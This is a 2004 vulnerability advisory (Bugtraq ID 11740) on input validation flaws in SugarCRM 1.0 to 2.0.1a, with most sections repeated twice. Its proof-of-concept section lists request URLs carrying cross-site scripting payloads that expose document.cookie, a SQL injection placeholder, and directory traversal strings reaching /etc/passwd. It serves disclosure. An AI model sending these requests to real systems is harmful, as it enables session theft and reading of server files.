SugarCRM Multiple Input Validation Vulnerabilities
BID:11740
Info
SugarCRM Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 11740 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 23 2004 12:00AM |
| Updated: | Nov 23 2004 12:00AM |
| Credit: | Discovery is credited to James Bercegay and Damon Wood of the GulfTech Security Research Team. |
| Vulnerable: |
SugarCRM SugarCRM 2.0.1 a SugarCRM SugarCRM 2.0.1 SugarCRM SugarCRM 1.5 d SugarCRM SugarCRM 1.1 f SugarCRM SugarCRM 1.1 e SugarCRM SugarCRM 1.1 d SugarCRM SugarCRM 1.1 c SugarCRM SugarCRM 1.1 b SugarCRM SugarCRM 1.1 a SugarCRM SugarCRM 1.1 SugarCRM SugarCRM 1.0 g SugarCRM SugarCRM 1.0 f SugarCRM SugarCRM 1.0 |
| Not Vulnerable: | |
Discussion
SugarCRM Multiple Input Validation Vulnerabilities
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.
Exploit / POC
SugarCRM Multiple Input Validation Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
/index.php?action=UnifiedSearch&module=Home&search_form=false&query _string=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E /index.php?module=Accounts&action=ListView&query=true&name=[XSS]
/index.php?action=index&module=Home&mod_strings[LNK_NEW_CONTACT]= %3Cscript%3Ealert(document.cookie)%3C/script%3E
/modules/Users/Error.php?app_strings[NTC_CLICK_BACK]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
index.php?action=DetailView&module=Accounts&record=[SQL]
/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00
An exploit is not required.
The following proof of concept examples are available:
/index.php?action=UnifiedSearch&module=Home&search_form=false&query _string=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E /index.php?module=Accounts&action=ListView&query=true&name=[XSS]
/index.php?action=index&module=Home&mod_strings[LNK_NEW_CONTACT]= %3Cscript%3Ealert(document.cookie)%3C/script%3E
/modules/Users/Error.php?app_strings[NTC_CLICK_BACK]=%3Cscript%3Ealert(document.cookie)%3C/script%3E
index.php?action=DetailView&module=Accounts&record=[SQL]
/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00
Solution / Fix
SugarCRM Multiple Input Validation Vulnerabilities
Solution:
It is reported by the vendor that some issues may be fixed in SugarCRM 2.0.1a. Other sources have indicated various vulnerabilities identified in this BID are still present in the new version. This BID will be updated as more information becomes available.
Solution:
It is reported by the vendor that some issues may be fixed in SugarCRM 2.0.1a. Other sources have indicated various vulnerabilities identified in this BID are still present in the new version. This BID will be updated as more information becomes available.
References
SugarCRM Multiple Input Validation Vulnerabilities
References:
References:
- Multiple Vulnerabilities In SugarCRM (James Bercegay)
- SugarCRM Homepage (SugarCRM)
- SugarCRM-2.0.1a Release Notes (SugarCRM)